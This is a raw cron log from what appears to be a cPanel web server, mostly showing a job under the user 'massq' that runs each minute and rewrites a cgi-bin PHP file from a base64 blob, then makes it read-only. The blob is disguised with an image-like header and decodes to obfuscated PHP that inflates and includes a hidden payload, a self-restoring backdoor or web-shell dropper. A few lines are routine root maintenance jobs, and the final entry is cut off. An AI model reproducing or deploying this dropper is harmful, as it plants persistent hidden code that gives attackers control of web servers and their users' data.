Apr 10 20:36:01 server CROND[1118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:37:01 server CROND[1178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:38:02 server CROND[1252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:39:01 server CROND[1330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:39:01 server CROND[1331]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 20:40:01 server CROND[1404]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 20:40:01 server CROND[1405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:40:01 server CROND[1406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:40:01 server CROND[1407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:41:01 server CROND[1625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:42:01 server CROND[1698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:42:01 server CROND[1699]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 20:43:01 server CROND[1836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:44:01 server CROND[1902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:45:01 server CROND[1976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:45:01 server CROND[1977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:45:01 server CROND[1978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:46:01 server CROND[2090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:47:01 server CROND[2252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:48:01 server CROND[2320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:49:01 server CROND[2383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y